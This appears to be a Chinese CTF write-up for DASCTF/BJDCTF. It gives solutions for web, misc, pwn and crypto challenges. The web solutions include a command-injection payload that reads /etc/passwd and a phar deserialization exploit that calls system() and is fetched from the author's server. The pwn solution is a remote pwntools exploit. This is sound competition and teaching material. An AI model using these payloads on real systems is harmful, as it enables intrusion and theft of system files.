DASCTF暨第四届BJDCTF WP
因为这次比赛大佬们都没有参加,所以菜鸡才能混到一个一等奖(逃)
多亏了有队里大佬带带
Web
easyjs
网鼎杯半决赛原题。。
get方式的/debug路由必须本地访问才能到达命令执行的步骤。
post方式的/debug路由的访问url不能是127.0.0.1,需要用http://127.0.1.1来绕过。post下有个SSRF 可以本地访问。由此访问get方式的debug路由。传递url参数。
然后就是命令执行。二次编码闭合单引号,后面就可以任意命令执行。因为只会回显/tmp/log下的内容。所以把/flag文件复制到/tmp/log即可。最后再用%00 或者;%23截断命令
最终payload
{"url":"http://127.0.1.1:10300/debug?url=http://%2527@xx;cp$IFS/etc/passwd$IFS/tmp/log;%23"}
easyphp
这题刚开始出题人没出好,导致所有人的remote_addr都是一样的,所以导致了很多人直接上车。。
phar反序列化,构造phar文件
<?php
class Template
{
public $content="123 <?php var_dump(1); system('/readflag'); ?>";
public $pattern;
public $suffix = ".php";
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Template();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传到自己的vps
访问http://8.129.41.25:10305/?tp=1&var[template][1]=http://123.57.145.88/phar.jpg
得到phar文件路径
phar://协议读取phar文件,进行反序列化
http://8.129.41.25:10305/?tp=1&var[template][1]=phar://uploads/44fb618f2ffa85b51dfdd86c7b64f995/c669d24f23006e2545ea18ba439449cc.html
访问php得到flag
http://8.129.41.25:10305/uploads/44fb618f2ffa85b51dfdd86c7b64f995/aa76f56ffef7c9013be2273c7f1bd42c.php
Misc
马老师的秘籍
打开得到一张全是二维码的png图片,下载下来
按顺序扫码后得到:
呃朋友们好啊我是某某门掌髣ィ莠コ鬩ャ某某刚才有个譛句暑髣ョ我马老师发生什么事了我说諤惹ケ亥屓事给我发了几张截图我一看嗷原来是昨天譛我ク、荳ェ蟷エ霓サ莠コ三十多岁一个体重九十多公斤一个体重八十多公譁、莉紋サャ隸エ蜚画怏一个说是我在健身房练功颈椎练坏了马老师你能不能教教我浑元功法遏ョ蟶ョ蜉ゥ治疗一下我的鬚域、守羅謌題ッエ蜿ッ莉・謌題ッエ你在健身房练豁サ蜉イ蜆ソ不好用他不服气我说小朋友ä½ ä¸¤ä¸ª手来找我一个謇区欠螟エ他折不蜉ィ莉冶ッエ你这也没用我说我这个有用这是化劲儿传扈溷粥螟ォ是讲化劲儿的蝗帑ク、諡ィ千金二百多斤的英国大力士都握我不动我这一个謇区欠螟エ蝠贋サ夜撼要和我试试我隸エ蜿ッ莉・诶我一隸エ莉門分就站起来了很蠢ォ蝠顔┯后上来就是一个左正蹬一个右鞭腿一个左刺拳我全部防出去了蝠企亟蜃コ去以后自然是传统功夫以点蛻ー荳コ豁「右拳放到他鼻子上没打他我笑一下准备收拳因为霑呎慮髣エ欸传统功夫的轤ケ蛻ー荳コ止他已经输了如果这一拳发力一拳就把他鼻子打骨折了放在鼻子上没有打他他也承认我先打到他面部他不知道拳放在他鼻子上他也承认我先打到他面部啊我收拳的时髣エ荳肴遠了他突辟カ陲ュ蜃サ左刺拳来打我脸啊我大意了啊没有闪矮他的左拳给我眼蝠雁承逵シ蹭了一下但没关系啊莉紋ケ溯ッエ蝠贋サ匁穐蝗セ荵溯ッエ了两分螟夐帖莉・蜷主ス捺慮流眼泪了捂着逵シ謌題ッエ
实际并没有什么用,binwalk一下,得到两个txt文件,还有一张图片文件,但是打不开
foremost一下,获得不了两个txt文件,但是能把隐藏的jpg图片提取出来
两张图片异或一下,得到:
NianQingRenBuJiangWuDe
md5加密一下,得到压缩包密码:c57988283c92f759585a0c1aebfdd743
压缩包内有两个记事本文件:
根据Goodluck中的提示,将闪电五连鞭.txt中的数据替换后得到:
. . . . . . . . . . . . . . .. ! ? ! ! . ? . . . . . . . .. . . . . . . . ? . ? ! . ? .. . . . . . . ! . ! ! ! ! ! !! . ? . . . . . . . . . ! ? !! . ? . . . . . . . . ? . ? !. ? . . . . ! . ? . . . . . .. . . ! ? ! ! . ? ! ! ! ! ! !! ! ? . ? ! . ? ! . ? . . . .. . . . . ! ? ! ! . ? . . . .. . . . ? . ? ! . ? . . ! . ?. . . . . . . ! ? ! ! . ? ! !! ! ! ! ? . ? ! . ? ! ! ! ! !! ! ! ! ! ! . ? . . . . . . .. . . . . . . . ! ? ! ! . ? .. . . . . . . . . . . . . ? .? ! . ? . . . . . . . . ! . ?. . . . . . . . . ! ? ! ! . ?! ! ! ! ! ! ! ! ? . ? ! . ? !! ! ! ! ! ! ! ! ! ! . ? . . .. . . . . . . . . . ! ? ! ! .? ! ! ! ! ! ! ! ! ! ! ! ! ? .? ! . ? ! ! ! ! ! ! ! ! ! ! !! ! ! ! ! ! ! ! ! ! ! ! . . .. . ! . ? . . . . . . . . . .. . . ! ? ! ! . ? . . . . . .. . . . . . ? . ? ! . ? . . .. . . . . . . . . . . . . . .! . ? . . . . . . . . . . . .. . . ! ? ! ! . ? ! ! ! ! ! !! ! ! ! ! ! ! ! ? . ? ! . ? !! ! ! ! ! ! . . . . . . . . .. . . . ! . ? . . . . . . . .. . . . . ! ? ! ! . ? . . . .. . . . . . . . ? . ? ! . ? .. . . . . . . . . . . . . . .. . . . ! . ? . . . . . . . .. . . . . . . ! ? ! ! . ? ! !! ! ! ! ! ! ! ! ! ! ! ! ? . ?! . ? ! ! ! ! ! . ! ! ! ! ! !! . . . . . ! . . . ! . ! ! !. ? . . . . . . . . . . . . .. . ! ? ! ! . ? . . . . . . .. . . . . . . ? . ? ! . ? . .. . ! . ? . . . . . . . . . .. . . . . ! ? ! ! . ? ! ! ! !! ! ! ! ! ! ! ! ! ! ? . ? ! .? ! ! ! ! ! . . . . . . . . .! . ? . . . . . . . . . . . .. ! ? ! ! . ? . . . . . . . .. . . . ? . ? ! . ? . . . . .. . . . . . . . . ! . ? . . .. . . . . . . . . . ! ? ! ! .? ! ! ! ! ! ! ! ! ! ! ! ! ? .? ! . ? ! ! ! ! ! ! ! ! ! ! !! ! ! ! ! ! ! ! ! ! ! ! . ? .. . . . . . . . . . . . . . !? ! ! . ? . . . . . . . . . .. . . . ? . ? ! . ? . . . . .. ! . ? . . . . . . . . . . .. . . . ! ? ! ! . ? ! ! ! ! !! ! ! ! ! ! ! ! ! ? . ? ! . ?! . ! ! ! ! ! ! ! ! ! . ? . .. . . . . . . . . . . . . ! ?! ! . ? . . . . . . . . . . .. . . ? . ? ! . ? ! . ? . . .. . . . . . . . . . ! ? ! ! .? ! ! ! ! ! ! ! ! ! ! ! ! ? .? ! . ? ! ! ! ! ! ! ! ! ! ! !! ! ! ! ! ! . ? . . . . . . .. . . . . . ! ? ! ! . ? . . .. . . . . . . . . ? . ? ! . ?. . . . . . . . . . . . . . .. ! . ? . . . . . . . . . . .. . ! ? ! ! . ? ! ! ! ! ! ! !! ! ! ! ! ? . ? ! . ? ! ! ! !! ! ! ! ! ! ! ! ! ! ! . ! ! !! ! . ! ! ! ! ! . . . . . ! .! . ? . . . . . . . . . . . .. ! ? ! ! . ? . . . . . . . .. . . . ? . ? ! . ? . . . . .. . . . . . . . . . . ! . . .. . . . . . . . ! . ! ! ! ! !! ! ! ! ! ! . ? . . . . . . .. . . . . . ! ? ! ! . ? ! ! !! ! ! ! ! ! ! ! ! ? . ? ! . ?! ! ! ! ! ! ! ! ! . ? . . . .. . . . . . . . . . . . . ! ?! ! . ? . . . . . . . . . . .. . . . . ? . ? ! . ? . . . .. . . . ! . ? .
Ook!解码一下,得到flag:
FakePic
下载附件得到一个加密的压缩包,提示password:1???小写
爆破一下得到密码:1cpp
得到一张图片和一个hint.txt
hint.txt内容:
10132430
取最前面500位就行
用winhex打开图片,在最后能发现提示在alpha通道内有数据
利用stegsolve也能发现alpha通道内图片坐标有特殊数据:
写一个脚本提取数据,提示了提取前500个就好,经过测试只需要提取前320个即可
from PIL import Image
pic = Image.open("flag.png")
red, green, blue, alpha = pic.split()
a,b = alpha.size
fp = open("1.txt","w")
for y in range(0,320):
fp.write(str(alpha.getpixel((0,y))))
fp.write('\n')
fp.close()
发现只有 1 2 4 8 16 32六种数据,且开头大多为4 1 2,少部分其他的,但也类似。
一共320个字符,八位为一组转化成ASC码,40长度,DASCTF{md5}正好也是40长度,可知可能正好为8位二进制替换asc码为一组。
其中1 2 4 8 16 32转换成2的次方,1 -> 0, 2-> 1, 4-> 2,8-> 3,16 -> 4, 32-> 5
然后与hint中的10132430相减,发现只有01字符。
脚本一把梭:
from PIL import Image
pic = Image.open("flag.png")
red, green, blue, alpha = pic.split()
a,b = alpha.size
fp = open("1.txt","w")
for y in range(0,320):
fp.write(str(alpha.getpixel((0,y))))
fp.write('\n')
fp.close()
f1 = open('1.txt','r')
f2 = open('2.txt','w')
i = 0
flag = ''
st = ''
while 1:
s = f1.readline()
if not s:
break
s = s.strip('\n')
if s == '1':
st += '0'
if s == '2':
st += '1'
if s == '4':
st += '2'
if s == '8':
st += '3'
if s == '16':
st += '4'
if s == '32':
st += '5'
i += 1
if i == 8:
i = 0
num = int(st) - 10132430
print(num)
st = ''
flag = str(num)
f2.write(flag)
f2.write(' ')
f2.close
得到:
10011001 10010011 10011110 10011000 10100000 10010110 10001100 11000101 10011001 11001010 11000111 11001101 10011010 11000110 10011101 11001100 11001110 11000110 10011110 10011101 10011010 11001110 10011010 10011011 10011001 10011011 11001000 10011011 10011001 11001010 11001001 11001010 10011001 10011010 10011100 10011001 11001001 10011001 11001001 10011001
asc码的第一位不可能为1,所以1肯定是有问题的,将二进制转码之后对FF异或,即可得到flag,发现其实并不是DASCTF开头的,但是正好也是40位
PWN
pai
通过%s粘连打印出登录密码,进入计算器功能后,%llu可以输入8字节,溢出4字节覆盖v2,按照执行后门函数的条件得到v2的值。
exp:
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='pi'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('183.129.189.60',10022)
e=ELF("./"+binary_name)
libc=ELF("libc-2.27.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
ru("Username: ")
sl('a'*0x40)
ru('a'*0x40)
passcode = ru('.')[:-1]
print(passcode)
ru("Passcode: ")
sl(passcode)
ru("N = ")
sl('4632251120704552960')
ia()
快来打砖块
找到后门函数,发现if条件式中的变量可以通过game save功能覆盖,然后通过上下下左下右下下下下下下的操作执行到后门函数即可。没有exp,直接手连ssh,空格开始游戏,s输入很多的垃圾数据覆盖后门函数的if判断变量,保存,然后空格暂停游戏,输入上下下左下右下下下下下下即可拿到flag,但是flag一闪而过,可以抓准时机截图
Crypto
asa
看到题目这不直接共模一把梭?
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
import libnum
from Crypto.Cipher import AES
e = 65537
n1 = eval('0x661d752110bcc6ee5ca33edaf244716cccce6400dfdbfd84ce6ae2d8fbbeb2f61584da7668768403b6135e7810eae9d4d8e044935f8680de5324c3fc0f9bffb01812f9d2ac9055ee8dbd17b90c5a60cb7595a82f24a075d951db3b7f913b8543ecd52b8c8464ce348c3970d511ae911e814f9ca33b8412db2730e61820f5de47')
n2 = eval('0x9f159326c907441326c88d17eae1c6e8aaea23922c5e628a585294e379e9245644f9c249c57f54a2b83921b4adc988fecc90c00feb6936d9be1f3a5ffae951b74ffbc6fc7aa11743e4ca179a937392dacf931e820d1d83016562ff608e8c59ef7310654a09bbba4a0129f71dcb61bd9bef073bbb93bfcac4a7a2e81156dbb32d')
p = libnum.gcd(n1,n2)
q1 = n1 // p
q2 = n2 // p
phi1 = (p-1) * (q1-1)
phi2 = (p-1) * (q2-1)
d1 = libnum.invmod(e,phi1)
d2 = libnum.invmod(e,phi2)
c1 = eval('0xd7931796fa39cfa37c0b621c01175904206dff1d74a28369dcd6517957ed76c5eb7d4934cbeb902119f9215f9ae7926debe3abe856244b45dbb4caaa2b93dbb79a3ca1a9813e1466c49fe3c03e5462811afbf3f40ff79927f9fe3681b7f3cef34466b9a736512f4931b5026eefacbae9be6e408085a7a636c514574c3b22ffe')
c2 = eval('0x6240740d41a539a88634726cf0a791a87e02419c3c3e00dff62eba59e81a93fd04a59109e57f64fc375b9a321583b6fa133317eb5c4e6eb1e6f6d9a0b4ae6ff0c54423718811f7956cd63b7bf9c7f8e29f48dad8f05b63b71d6c5112d91864adba0d6bb342c67aee39ccd5e2a6928a8e4ab2248d29a0c990bae821b31b39b1f3')
m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)
print(hex(m1))
print(hex(m2))
'''
m1 = '0x8929ef12a17f145bc9b48afa2c88a2ef'
m2 = '0xf5f6a88b0855ed47e0de771caf3cb23e'
'''
key = long_to_bytes(m1)
iv = long_to_bytes(m2)
c = eval('0xf8559d671b720cd336f2d8518ad6eac8c405585158dfde74ced376ba42d9fe984d519dc185030ddec7b4dc240fd90fa8')
c = long_to_bytes(c)
m = AES.new(key,AES.MODE_CBC,iv).decrypt(c)
print(m)